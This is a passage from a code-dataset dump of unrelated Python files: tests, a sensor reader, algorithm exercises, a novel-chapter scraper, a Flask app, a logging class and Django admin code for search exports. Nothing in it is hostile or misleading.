is_guides_accessible=True)\n\n self.register('Charlie')\n self.assert_guide_accesssible('Alpha')\n self.assert_guide_accesssible('Bravo')\n self.assert_guide_accesssible('Charlie')\n self.assert_guide_not_accesssible(\n 'Delta', is_guides_accessible=True)\n\n actions.login('admin@sample.com', is_admin=True)\n for name in ['Alpha', 'Bravo', 'Charlie', 'Delta']:\n self.assert_guide_accesssible(name)\n\n # check course labels as admin sees them\n response = self.get('/modules/guides')\n self.assertEquals(200, response.status_int)\n self.assertIn(\n 'category=\"Power Searching with Google [Alpha]',\n response.body)\n self.assertIn(\n 'category=\"Power Searching with Google [Bravo]',\n response.body)\n self.assertIn(\n 'category=\"Power Searching with Google [Charlie] '\n '(Registration required)', response.body)\n self.assertIn(\n 'category=\"Power Searching with Google [Delta] (Private)',\n response.body)\n\n def test_guide_shows_all_unit_lessons(self):\n with actions.OverriddenEnvironment(self.GUIDE_ENABLED_PRIVATE):\n actions.login('test@example.com', is_admin=True)\n\n # check guides page\n response = self.get('/modules/guides')\n self.assertIn('', response.body)\n self.assertIn(\n 'category=\"Power Searching with Google [Alpha]',\n response.body)\n self.assertIn('gcbTagYoutubeEnqueueVideo(\"', response.body)\n self.assertIn(\n '\n \n \"\"\"\n html = html + tag_row\n return html\n\n def to_html(self):\n return self.render_node(self.document.content_node.children[0])\n\n def to_mimetype(self):\n return self.render_node_mimetype(self.document.content_node.children[0])\n\n def render_node_mimetype(self, node):\n tag_colors = {}\n for index, tag in enumerate(node.get_all_tags()):\n tag_colors[tag] = self.color_array[index]\n\n render_data = {'node_data': node.to_json(), 'tag_colors': tag_colors, }\n bundle = {}\n bundle['application/vnd.kodexa.spatial+json'] = render_data\n return bundle\n","sub_path":"kodexa/mixins/spatial.py","file_name":"spatial.py","file_ext":"py","file_size_in_byte":10580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"584491229","text":"import time\nfrom collections import namedtuple\nfrom sitting_time_sensor.sensor import Sensor\nimport RPi.GPIO as GPIO\n\nclass PIRSensor(Sensor):\n Status = namedtuple('Status', ['changed', 'unchanged'])\n status = Status(changed=1, unchanged=0) # 暫定\n sensor_port = -1\n\n def setup(self, port):\n super().setup(ports=[port], port_settings=[super().INPUT])\n PIRSensor.sensor_port = port\n\n def read(self):\n read_val = super().read(PIRSensor.sensor_port)\n if (read_val == PIRSensor.status.changed):\n return 1\n return 0\n\n def main(self):\n while True:\n time.sleep(1)\n #when motion detected turn on LED\n input = self.read()\n print(\"PIR sensor input:\", input)\n if input == 1:\n print(\"detected\")\n else:\n print(\"not detected\")\n\n def destroy(self):\n GPIO.cleanup()\n\n def __init__(self, port):\n self.setup(port)\n\nif __name__ == '__main__':\n pir_sensor = PIRSensor(port=26)\n try:\n pir_sensor.main()\n except KeyboardInterrupt:\n pir_sensor.destroy() \n","sub_path":"src/sitting_time_sensor/pir_sensor.py","file_name":"pir_sensor.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"560914554","text":"import datetime\r\n\r\nname = str(input(\"Enter your name:\"))\r\nyear = int(input(\"Enter your year you were born:\"))\r\nnow = datetime.datetime.now()\r\nthisyear = now.year\r\nage = thisyear - year\r\n\r\nif age >= 1 and age <= 9:\r\n print(\"%s is %d years old. You are generation \\\"Alpha\\\"\" % (name, age))\r\nif age >= 10 and age <= 24:\r\n print(\"%s is %d years old. You are generation \\\"Z\\\"\" % (name, age))\r\nif age >= 25 and age <= 39:\r\n print(\"%s is %d years old. You are generation \\\"Y\\\"\" % (name, age))\r\nif age >= 40 and age <= 54:\r\n print(\"%s is %d years old. You are generation \\\"X\\\"\" % (name, age))\r\nif age >= 55 and age <= 72:\r\n print(\"%s is %d years old. You are generation \\\"Baby Boomer\\\"\" % (name, age))\r\nif age >= 73:\r\n print(\"%s is %d years old. You are generation \\\"Builder\\\"\" % (name, age))","sub_path":"sirapong-6230401987-lab1/find_gen.py","file_name":"find_gen.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"212252920","text":"\"\"\"BOJ Q2178 - 미로 탐색 (https://www.acmicpc.net/problem/2178)\n\nSimple BFS problem\n\"\"\"\n\nn, m = [int(x) for x in input().split()]\nmaze = [list(input()) for x in range(n)]\n\nqueue = [(0, 0, 1)]\nmaze[0][0] = '0'\nwhile True:\n x, y, dist = queue.pop(0)\n if (x, y) == (m - 1, n - 1):\n print(dist)\n break\n for dx, dy in [(1, 0), (-1, 0), (0, 1), (0, -1)]:\n nx, ny = x + dx, y + dy\n if 0 <= nx < m and 0 <= ny < n and maze[ny][nx] == '1':\n maze[ny][nx] = '0'\n queue.append((nx, ny, dist + 1))\n","sub_path":"q2178.py","file_name":"q2178.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"354303520","text":"\"\"\"\nWSGI config for noot project.\n\nIt exposes the WSGI callable as a module-level variable named ``application``.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.6/howto/deployment/wsgi/\n\"\"\"\n\nimport os\nimport sys\nimport site\n\nALLDIRS = ['/home/theo/acaciadata.com/django/lib/python2.7/site-packages']\n\n# Remember original sys.path.\nprev_sys_path = list(sys.path) \n\n# Add each new site-packages directory.\nfor directory in ALLDIRS:\n site.addsitedir(directory)\n\n# Reorder sys.path so new directories at the front.\nnew_sys_path = [] \nfor item in list(sys.path): \n if item not in prev_sys_path: \n new_sys_path.append(item) \n sys.path.remove(item) \nsys.path[:0] = new_sys_path\n\n# Add the app's directory to the PYTHONPATH\nsys.path.append('/home/theo/acaciadata.com/acacia')\nsys.path.append('/home/theo/acaciadata.com/acacia/acacia')\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'acacia.settings'\n\nfrom django.core.wsgi import get_wsgi_application\napplication = get_wsgi_application()\n\n","sub_path":"acacia/acacia/wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"444127979","text":"# coding:utf-8\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport re\nimport os\nimport time\n\n# 小说主地址\nreq_url_base = 'https://m.lingyu.org/'\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) '\n 'Chrome/17.0.963.56 Safari/535.11'}\n\n\ndef has_title(tag):\n return tag.get('property').equals('og:title')\n\n\ndef has_next_page(tag):\n return tag.string.equals('下一页')\n\n\n# 小说下载函数\n\n\n# txt_id:小说编号\n# txt字典项介绍\n# id:小说编号\n# title:小说题目\n# first_page:第一章页面\n# txt_section:章节地址\n# section_name:章节名称\n# section_text:章节正文\n# section_ct:章节页数\ndef get_txt(txt_id, page_size):\n txt = {'title': '', 'id': txt_id}\n try:\n # 根据小说编号获取小说URL\n req_url = req_url_base + txt['id'] + '/'\n print(\"小说编号:\" + txt['id'])\n # 获取小说目录界面\n req = urllib.request.Request(req_url, headers=headers)\n res = urllib.request.urlopen(req).read()\n # soup转化\n soups = BeautifulSoup(res, \"html.parser\")\n\n # 获取小说题目\n title = soups.select('.currency_head h1 a')\n txt['title'] = title[0].string\n\n # 打开小说文件写入小说相关信息\n fo = open('{1}.txt'.format(txt['id'], txt['title']), \"ab+\")\n fo.write((txt['title'] + \"\\r\\n\").encode('UTF-8'))\n fo.write(\"******************\\r\\n\".encode('UTF-8'))\n\n print(\"编号:\" + '{0:0>8} '.format(txt['id']) + \"小说名:《\" + txt['title'] + \"》 开始下载。\")\n print(\"正在寻找第一章页面。。。\")\n # 进入循环,写入每章内容\n chapter_list = soups.select('.chapters li a')\n\n for i in range(1, 50):\n try:\n # 获取小说目录界面\n req = urllib.request.Request(req_url_base + txt['id'] + '_' + str(i) + '/', headers=headers)\n res = urllib.request.urlopen(req).read()\n # soup转化\n soups = BeautifulSoup(res, \"html.parser\")\n chapter_list.extend(soups.select('.chapters li a'))\n except Exception as e:\n print(e)\n print(\"编号:\" + '{0:0>8} '.format(txt['id']) + \"小说名:《\" + txt['title'] + \"》 章节下载失败,正在重新下载。\")\n\n for chapter in chapter_list:\n try:\n href = chapter['href']\n req_chapter = urllib.request.Request(str(href), headers=headers)\n res_chapter = urllib.request.urlopen(req_chapter).read()\n soup = BeautifulSoup(res_chapter, \"html.parser\")\n\n # 获取章节名称\n section_name = soup.select('div .title h1')[0]\n section_text = soup.select('div #content')[0]\n for ss in section_text.select(\"script\"): # 删除无用项\n ss.decompose()\n # 获取章节文本\n section_text = re.sub('\\s+', '\\r\\n\\t', section_text.text)\n\n # 以二进制写入章节题目\n fo.write(('\\r\\n\\n\\n' + section_name.text + '\\r\\n\\n').encode('UTF-8'))\n # 以二进制写入章节内容\n fo.write(section_text.encode('UTF-8'))\n print(txt['title'] + ' 章节:' + section_name.text + ' 已下载')\n except Exception as e:\n print(e)\n print(\"编号:\" + '{0:0>8} '.format(txt['id']) + \"小说名:《\" + txt['title'] + \"》 章节下载失败,正在重新下载。\")\n\n except Exception as e:\n print(e)\n # 出现错误会将错误信息写入download.log文件,同时答应出来\n fo_err = open('download.log', \"ab+\")\n try:\n fo_err.write(('[' + time.strftime('%Y-%m-%d %X', time.localtime()) + \"]:编号:\" + '{0:0>8} '.format(\n txt['id']) + \"小说名:《\" + txt['title'] + \"》 下载失败。\\r\\n\").encode('UTF-8'))\n print('[' + time.strftime('%Y-%m-%d %X', time.localtime()) + \"]:编号:\" + '{0:0>8} '.format(\n txt['id']) + \"小说名:《\" + txt['title'] + \"》 下载失败。\")\n os.rename('{0:0>8}'.format(txt['id']) + '-' + txt['title'] + '.txt.download',\n '{0:0>8}'.format(txt['id']) + '-' + txt['title'] + '.txt.error')\n except Exception as e:\n print(e)\n fo_err.write(('[' + time.strftime('%Y-%m-%d %X', time.localtime()) + \"]:编号:\" + '{0:0>8} '.format(\n txt['id']) + \"下载失败。\\r\\n\").encode('UTF-8'))\n print('[' + time.strftime('%Y-%m-%d %X', time.localtime()) + \"]:编号:\" + '{0:0>8} '.format(\n txt['id']) + \"下载失败。\")\n finally: # 关闭文件\n fo_err.close()\n\n\n# 此处为需要下载小说的编号,编号获取方法在上文中已经讲过。\nget_txt(\"49/49178\", 64)\n","sub_path":"m_ling_yu_org.py","file_name":"m_ling_yu_org.py","file_ext":"py","file_size_in_byte":5035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"192132164","text":"import os\nimport sys\n\nreload(sys).setdefaultencoding(\"UTF-8\")\n\nfrom setuptools import setup, find_packages\n\n\ndef read(*pathnames):\n fh = open(os.path.join(os.path.dirname(__file__), *pathnames))\n return fh.read().decode('utf-8')\n\nversion = '1.2.3'\n\nsetup(\n name='collective.taxonomy',\n version=version,\n description=\"Create, edit and use hierarchical taxonomies in Plone!\",\n long_description='\\n'.join([\n read('README.rst'),\n read('CHANGES.rst'),\n ]),\n classifiers=[\n \"Framework :: Plone\",\n \"Framework :: Zope2\",\n \"Programming Language :: Python\",\n ],\n keywords='plone taxonomy dexterity',\n author='Bo Simonsen and Malthe Borch',\n author_email='bo@headnet.dk',\n license=\"GPLv2+\",\n packages=find_packages('src'),\n package_dir={'': 'src'},\n namespace_packages=['collective'],\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'setuptools',\n 'plone.supermodel',\n 'plone.api',\n 'plone.app.registry',\n 'plone.app.dexterity[grok]',\n 'elementtree',\n 'simplejson',\n 'collective.js.jqueryui',\n ],\n extras_require={\n 'test': [\n 'plone.testing',\n 'plone.app.testing',\n 'unittest2',\n ]\n },\n entry_points=\"\"\"\n [z3c.autoinclude.plugin]\n target = plone\n \"\"\",\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"158913301","text":"from PyQt4 import QtCore, QtGui\n\nfrom collections import namedtuple\nfrom PyPDF2 import PdfFileReader\n\nous_tree_field_names = [\n 'page_one_source_file_name',\n 'page_one_source_page_number',\n 'page_two_source_file_name',\n 'page_two_source_page_number',\n 'form_template',\n 'psr_number',\n 'is_one_page',\n 'output_file_path'\n]\nOUSTree = namedtuple('OUSTree', ous_tree_field_names)\n\nclass OUSTreesListView(QtGui.QListView):\n def __init__(self, parent = None):\n super(OUSTreesListView, self).__init__(parent)\n\n self.initialize_user_interface()\n\n self.initialize_model()\n\n def initialize_user_interface(self):\n self.setSelectionMode(QtGui.QAbstractItemView.SingleSelection)\n\n def initialize_model(self):\n from widget.ous_tree_processor.obj.ous_trees_list_view_model import OUSTreesListViewModel\n\n self.model = OUSTreesListViewModel(self)\n self.setModel(self.model)\n\n def add_from_source_pdfs(self, source_pdfs_file_names):\n self.model.beginResetModel()\n\n # Validate that source PDFs have an even total number of pages\n source_pdfs_page_counts = [PdfFileReader(file_name).getNumPages() for file_name in source_pdfs_file_names]\n num_pages = sum(source_pdfs_page_counts)\n if num_pages % 2 != 0:\n raise Exception('Source PDFs have an odd number of total pages ({}), which is not allowed.'.format(num_pages))\n\n # Generate a list of lists of page numbers.\n # e.g. if source_pdfs_page_counts = [3, 5] --> exploded_source_pdfs_page_counts = [[0,1,2], [3,4,5,6,7]]\n exploded_source_pdfs_page_counts = []\n for index, page_count in enumerate(source_pdfs_page_counts):\n start = 0 if index == 0 else start + source_pdfs_page_counts[index-1]\n exploded_source_pdfs_page_counts.append(range(start, start + page_count))\n\n self.model.ous_trees = []\n\n # Generate each OUS tree object\n for current_page in xrange(0, num_pages, 2):\n page_one_source_file_index = [exploded_source_pdfs_page_counts.index(i) for i in exploded_source_pdfs_page_counts if current_page in i][0]\n page_one_source_file_name = source_pdfs_file_names[page_one_source_file_index]\n page_one_source_page_number = exploded_source_pdfs_page_counts[page_one_source_file_index].index(current_page)\n\n page_two_source_file_index = [exploded_source_pdfs_page_counts.index(i) for i in exploded_source_pdfs_page_counts if current_page+1 in i][0]\n page_two_source_file_name = source_pdfs_file_names[page_two_source_file_index]\n page_two_source_page_number = exploded_source_pdfs_page_counts[page_two_source_file_index].index(current_page+1)\n\n form_template = None\n psr_number = None\n is_one_page = False\n output_file_path = None\n\n new_ous_tree = OUSTree(\n page_one_source_file_name,\n page_one_source_page_number,\n page_two_source_file_name,\n page_two_source_page_number,\n form_template,\n psr_number,\n is_one_page,\n output_file_path\n )\n\n self.model.ous_trees.append(new_ous_tree)\n\n self.model.endResetModel()\n","sub_path":"widget/ous_tree_processor/obj/ous_trees_list_view.py","file_name":"ous_trees_list_view.py","file_ext":"py","file_size_in_byte":3311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"197682165","text":"class Solution:\n \"\"\"\n @param s: the maximum length of s is 1000\n @return: the longest palindromic subsequence's length\n \"\"\"\n def longestPalindromeSubseq(self, s):\n # write your code here\n n = len(s)\n if n == 0:\n return 0 \n \n if n == 1:\n return 1 \n \n dp = [[0 for i in range(n + 1)] for i in range(n + 1)] \n \n for i in range(n + 1):\n dp[i][i] = 1 \n \n for i in range(n - 2, -1, -1):\n for j in range(i + 1, n):\n if s[i] == s[j]:\n dp[i][j] = dp[i + 1][j - 1] + 2 \n else:\n dp[i][j] = max(dp[i +1][j], dp[i][j - 1])\n\n return dp[0][n - 1]\n \n ","sub_path":"667 longest palindrome subsequence.py","file_name":"667 longest palindrome subsequence.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"564608679","text":"import numpy as np\nfrom flask import Flask, request,render_template\nimport pickle\n\napp = Flask(__name__)\nmodel = pickle.load(open('C:/Users/HP-PC/PycharmProjects/application/static/models/model.pkl', 'rb'))\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n@app.route('/predict',methods=['POST'])\ndef predict():\n '''\n For rendering results on HTML GUI\n '''\n int_features = [x for x in request.form.values()]\n final_features = [np.array(int_features)]\n prediction = model.predict(final_features)\n if prediction==1:\n output=\"Nominal interest rate\"\n elif prediction==2:\n output=\"effective rate\"\n else :\n output=\"real interest rate\"\n\n return render_template('index.html', prediction_text='Interest category is {}'.format(output))\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"136512844","text":"\n\nimport os\nimport typing\n\nfrom .impl.IDCounter import IDCounter\n\nfrom .ExceptionInChildContextException import ExceptionInChildContextException\nfrom .EnumLogLevel import EnumLogLevel\nfrom .impl.LogStats import LogStats\nfrom .AbstractLogger import AbstractLogger\nfrom .impl.Converter import Converter\nfrom .impl.JSONDict import JSONDict\nfrom .BufferLogger import BufferLogger\nfrom .InvalidExtraArgumentsException import InvalidExtraArgumentsException\n\n\n\n\n\n\n\nclass WithholdingLogger(BufferLogger):\n\n\t################################################################################################################################\n\t## Constructor\n\t################################################################################################################################\n\n\t#\n\t# Constructor method.\n\t#\n\tdef __init__(self,\n\t\t\tidCounter:IDCounter = None,\n\t\t\tparentID:int = None,\n\t\t\tindentLevel:int = 0,\n\t\t\tlogItemList = None,\n\t\t\tlogStats:LogStats = None,\n\t\t\textraProperties:JSONDict = None,\n\t\t\tmainLogger:AbstractLogger = None,\n\t\t\tbVerbose:bool = False,\n\t\t):\n\n\t\tsuper().__init__(idCounter, parentID, indentLevel, logItemList, logStats, extraProperties)\n\n\t\tself.__mainLogger = mainLogger\n\t\tself.__bVerbose = bVerbose\n\t#\n\n\t################################################################################################################################\n\t## Public Properties\n\t################################################################################################################################\n\n\t################################################################################################################################\n\t## Helper Methods\n\t################################################################################################################################\n\n\tdef _descend(self, logEntryStruct:list) -> AbstractLogger:\n\t\tself._logStats.increment(logEntryStruct[5])\n\n\t\tnextID = logEntryStruct[1]\n\t\tnewList = logEntryStruct[7]\n\n\t\treturn WithholdingLogger(\n\t\t\tidCounter=self._idCounter,\n\t\t\tparentID=nextID,\n\t\t\tindentLevel=self._indentationLevel + 1,\n\t\t\tlogItemList=newList,\n\t\t\tlogStats=self._logStats,\n\t\t\textraProperties=self._extraProperties,\n\t\t\tmainLogger=None,\n\t\t\tbVerbose=self.__bVerbose,\n\t\t)\n\t#\n\n\t################################################################################################################################\n\t## Public Methods\n\t################################################################################################################################\n\n\tdef __str__(self):\n\t\treturn \"<\" + self.__class__.__name__ + \"(\" + hex(id(self)) + \", indent=\" + str(self._indentationLevel) + \",parentID=\" + str(self._parentLogEntryID) + \")>\"\n\t#\n\n\tdef __repr__(self):\n\t\treturn \"<\" + self.__class__.__name__ + \"(\" + hex(id(self)) + \", indent=\" + str(self._indentationLevel) + \",parentID=\" + str(self._parentLogEntryID) + \")>\"\n\t#\n\n\tdef __exit__(self, ex_type:type, ex_value:Exception, ex_traceback):\n\t\tif ex_type != None:\n\t\t\tif isinstance(ex_value, ExceptionInChildContextException):\n\t\t\t\tif self.__mainLogger:\n\t\t\t\t\tself.forwardTo(self.__mainLogger)\n\t\t\t\treturn False\n\t\t\tif isinstance(ex_value, GeneratorExit):\n\t\t\t\tif self.__mainLogger:\n\t\t\t\t\tself.forwardTo(self.__mainLogger)\n\t\t\t\treturn False\n\t\t\t#e = ex_type(value)\n\t\t\t#self.exception(e)\n\t\t\tself.exception(ex_value)\n\t\t\tif self.__mainLogger:\n\t\t\t\tself.forwardTo(self.__mainLogger)\n\t\t\traise ExceptionInChildContextException(ex_value)\n\n\t\tif self.__mainLogger:\n\t\t\tif self.stats.hasAtLeastWarning or self.__bVerbose:\n\t\t\t\tself.forwardTo(self.__mainLogger)\n\n\t\treturn False\n\t#\n\n\t################################################################################################################################\n\t## Public Static Methods\n\t################################################################################################################################\n\n\t@staticmethod\n\tdef create(\n\t\t\tmainLogger:AbstractLogger = None,\n\t\t\t*args,\n\t\t\tjsonData:typing.Union[dict,list] = None,\n\t\t\tbVerbose:bool = False,\n\t\t):\n\n\t\tif args:\n\t\t\traise InvalidExtraArgumentsException()\n\n\t\t# ----\n\n\t\tappendData, extraProperties = BufferLogger._convertJSONToInternal(jsonData)\n\n\t\t# ----\n\n\t\tlogger = WithholdingLogger(extraProperties=extraProperties, mainLogger=mainLogger, bVerbose=bVerbose)\n\n\t\tif appendData is not None:\n\t\t\tlogger._logiAll(appendData, True)\n\n\t\treturn logger\n\t#\n\n#\n\n\n\n\n\n\n\n","sub_path":"src/jk_logging/WithholdingLogger.py","file_name":"WithholdingLogger.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"247477969","text":"import datetime\n\nfrom admin_actions.admin import ActionsModelAdmin\nfrom django.conf import settings\nfrom django.contrib import admin, messages\nfrom django.contrib.admin import TabularInline\nfrom django.contrib.admin.options import IncorrectLookupParameters\nfrom django.contrib.humanize.templatetags.humanize import naturaltime\nfrom django.core.exceptions import ValidationError\nfrom django.db.models import Sum, Max, Case, When, DateTimeField, Value\nfrom django.shortcuts import redirect\nfrom django.template.defaultfilters import date\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom django.utils.safestring import mark_safe\nfrom django.utils.timezone import localtime\nfrom django.utils.translation import gettext_lazy as _\n\nfrom whoweb.core.admin import EventTabularInline\nfrom whoweb.search.events import ENQUEUED_FROM_ADMIN\nfrom whoweb.search.models import SearchExport, ScrollSearch, FilterValueList\nfrom whoweb.search.models.export import SearchExportPage\n\nepoch = datetime.datetime(1970, 1, 1, 0, 0, 0, tzinfo=timezone.get_default_timezone())\n\n\nclass SearchExportPageInline(TabularInline):\n model = SearchExportPage\n fields = (\n \"export_link\",\n \"status\",\n \"pending_count\",\n \"progress_counter\",\n \"final_count\",\n \"created\",\n \"modified\",\n )\n readonly_fields = fields\n extra = 0\n\n def get_queryset(self, request):\n return super().get_queryset(request).defer(\"data\")\n\n def has_add_permission(self, request, obj=None):\n return False\n\n def final_count(self, obj):\n return obj.count\n\n @mark_safe\n def export_link(self, obj: SearchExportPage):\n link = reverse(\"admin:search_searchexportpage_change\", args=[obj.pk])\n return 'Page %s' % (link, obj.page_num)\n\n export_link.short_description = \"Page num\"\n\n\n@admin.register(SearchExportPage)\nclass SearchExportPageAdmin(ActionsModelAdmin):\n list_display = (\n \"pk\",\n \"export\",\n \"page_num\",\n \"created\",\n \"modified\",\n \"status\",\n \"count\",\n )\n list_display_links = (\"export\",)\n list_filter = (\"status\", \"created\")\n search_fields = (\"export__uuid\", \"export__pk\")\n fields = (\n \"export_link\",\n \"page_num\",\n \"created\",\n \"modified\",\n \"status\",\n \"count\",\n \"pending_count\",\n \"progress_counter\",\n )\n readonly_fields = fields\n\n def get_queryset(self, request):\n return super().get_queryset(request).defer(\"data\")\n\n @mark_safe\n def export_link(self, obj: SearchExportPage):\n link = reverse(\"admin:search_searchexport_change\", args=[obj.export_id])\n return '%s' % (link, obj.export)\n\n export_link.short_description = \"Export\"\n\n\nclass LatestPageModificationFilter(admin.SimpleListFilter):\n title = \"Latest Page Update Time\"\n parameter_name = \"_latest_page_modified\"\n\n def __init__(self, request, params, model, model_admin):\n self.field_generic = \"%s__\" % self.parameter_name\n\n self.date_params = {\n k: v for k, v in params.items() if k.startswith(self.field_generic)\n }\n\n now = timezone.now()\n # When time zone support is enabled, convert \"now\" to the user's time\n # zone so Django's definition of \"Today\" matches what the user expects.\n if timezone.is_aware(now):\n now = timezone.localtime(now)\n today = now.replace(hour=0, minute=0, second=0, microsecond=0)\n\n self.lookup_kwarg_since = \"%s__gte\" % self.parameter_name\n self.lookup_kwarg_until = \"%s__lt\" % self.parameter_name\n self.links = (\n (_(\"Any date\"), {}),\n (\n _(\"Today\"),\n {\n self.lookup_kwarg_since: str(today),\n self.lookup_kwarg_until: str(today + datetime.timedelta(days=1)),\n },\n ),\n (\n _(\"Yesterday\"),\n {\n self.lookup_kwarg_since: str(today - datetime.timedelta(days=1)),\n self.lookup_kwarg_until: str(today),\n },\n ),\n (\n _(\"1-2 days ago\"),\n {\n self.lookup_kwarg_since: str(today - datetime.timedelta(days=2)),\n self.lookup_kwarg_until: str(today - datetime.timedelta(days=1)),\n },\n ),\n (\n _(\"2-3 days ago\"),\n {\n self.lookup_kwarg_since: str(today - datetime.timedelta(days=3)),\n self.lookup_kwarg_until: str(today - datetime.timedelta(days=2)),\n },\n ),\n (\n _(\"More than 7 days ago\"),\n {self.lookup_kwarg_until: str(today - datetime.timedelta(days=7)),},\n ),\n )\n super().__init__(request, params, model, model_admin)\n\n def lookups(self, request, model_admin):\n return self.links\n\n def choices(self, changelist):\n for title, param_dict in self.links:\n yield {\n \"selected\": self.date_params == param_dict,\n \"query_string\": changelist.get_query_string(\n param_dict, [self.field_generic]\n ),\n \"display\": title,\n }\n\n def expected_parameters(self):\n params = [self.lookup_kwarg_since, self.lookup_kwarg_until]\n return params\n\n def queryset(self, request, queryset):\n try:\n return queryset.filter(**self.used_parameters)\n except (ValueError, ValidationError) as e:\n # Fields may raise a ValueError or ValidationError when converting\n # the parameters to the correct type.\n raise IncorrectLookupParameters(e)\n\n\n@admin.register(SearchExport)\nclass ExportAdmin(ActionsModelAdmin):\n list_display = (\n \"pk\",\n \"uuid\",\n \"billing_seat\",\n \"status\",\n \"rows_enqueued\",\n \"latest_page_modified\",\n \"progress_counter\",\n \"target\",\n \"rows_uploaded\",\n \"should_derive_email\",\n )\n list_display_links = (\n \"pk\",\n \"uuid\",\n )\n list_per_page = 10\n list_filter = (\n \"status\",\n \"charge\",\n \"created\",\n \"modified\",\n LatestPageModificationFilter,\n )\n search_fields = (\n \"seat__user__email\",\n \"seat__user__username\",\n \"billing_seat__user__email\",\n \"billing_seat__user__username\",\n \"pk\",\n \"uuid\",\n )\n fieldsets = (\n (None, {\"fields\": (\"uuid\", \"billing_seat\", \"query\", \"scroller\",)}),\n (\n \"StatusOptions Fields\",\n {\n \"classes\": (),\n \"fields\": (\n (\"status\", \"status_changed\",),\n (\"progress_counter\", \"target\", \"rows_uploaded\"),\n \"queue_priority\",\n \"rows_enqueued\",\n \"working_count\",\n \"latest_page_modified\",\n (\"sent\", \"sent_at\",),\n \"validation_list_id\",\n ),\n },\n ),\n (\n \"Behavior Fields\",\n {\n \"classes\": (\"collapse\",),\n \"fields\": ((\"charge\", \"notify\", \"on_trial\"), \"column_names\",),\n },\n ),\n )\n readonly_fields = (\n \"sent\",\n \"sent_at\",\n \"working_count\",\n \"rows_enqueued\",\n \"rows_uploaded\",\n \"queue_priority\",\n \"latest_page_modified\",\n \"status_changed\",\n \"scroller\",\n \"column_names\",\n )\n inlines = [EventTabularInline, SearchExportPageInline]\n actions_row = (\"download\", \"download_json\")\n actions_detail = (\"run_publication_tasks\", \"download\", \"download_json\")\n actions = (\"store_validation_results\", \"compute_rows_uploaded\")\n\n def get_queryset(self, request):\n return (\n super()\n .get_queryset(request)\n .annotate(\n _working_count=Sum(\"pages__progress_counter\"),\n _rows_enqueued=Sum(\"pages__pending_count\"),\n _page_modified=Max(\"pages__modified\"),\n )\n .annotate(\n _latest_page_modified=Case(\n When(_page_modified__isnull=False, then=\"_page_modified\"),\n default=Value(epoch), # sorts null to bottom\n output_field=DateTimeField(),\n )\n )\n )\n\n def working_count(self, obj):\n return obj._working_count\n\n working_count.short_description = \"Working Rows\"\n\n def rows_enqueued(self, obj):\n return obj._rows_enqueued\n\n rows_enqueued.admin_order_field = \"_rows_enqueued\"\n\n def latest_page_modified(self, obj):\n return (\n \"n/a\"\n if obj._latest_page_modified == epoch\n else \"{} ({})\".format(\n date(localtime(obj._latest_page_modified), settings.DATETIME_FORMAT),\n naturaltime(obj._latest_page_modified),\n )\n )\n\n latest_page_modified.admin_order_field = \"_latest_page_modified\"\n\n def column_names(self, obj):\n return \", \".join(obj.get_column_names())\n\n column_names.short_description = \"columns\"\n\n @mark_safe\n def scroller(self, obj):\n if obj.scroll:\n link = reverse(\n \"admin:search_scrollsearch_change\", args=[obj.scroll.pk]\n ) # model name has to be lowercase\n return '%s' % (link, obj.scroll.scroll_key)\n return \"None\"\n\n def download(self, request, pk):\n export = SearchExport.objects.get(pk=pk)\n return redirect(export.get_absolute_url())\n\n download.short_description = \"💾.csv\"\n\n def download_json(self, request, pk):\n export = SearchExport.objects.get(pk=pk)\n return redirect(export.get_absolute_url(\"json\"))\n\n download_json.short_description = \"💾.json\"\n\n def run_publication_tasks(self, request, pk):\n export = SearchExport.available_objects.get(pk=pk)\n sigs = export.processing_signatures()\n res = sigs.apply_async()\n self.message_user(\n request,\n f\"{export} successfully published. (Did not reset credits, flags, status, or counters first).\",\n level=messages.SUCCESS,\n )\n self.message_user(request, f\"Tasks run: {sigs}\", level=messages.INFO)\n self.message_user(request, f\"Result ID: {res}\", level=messages.INFO)\n\n export.log_event(\n evt=ENQUEUED_FROM_ADMIN, signatures=str(sigs), async_result=str(res)\n )\n return redirect(reverse(\"admin:search_searchexport_change\", args=[pk]))\n\n run_publication_tasks.short_description = \"Rerun\"\n\n def store_validation_results(self, request, queryset):\n for export in queryset:\n results = export.get_validation_results(only_valid=True)\n self.message_user(\n request, f\"Downloaded validation for {export}.\", level=messages.SUCCESS\n )\n export.apply_validation_to_profiles_in_pages(validation=results)\n self.message_user(\n request,\n f\"Updated profiles in page data of {export} with validation results.\",\n level=messages.SUCCESS,\n )\n\n def compute_rows_uploaded(self, request, queryset):\n for export in queryset:\n if export.status != 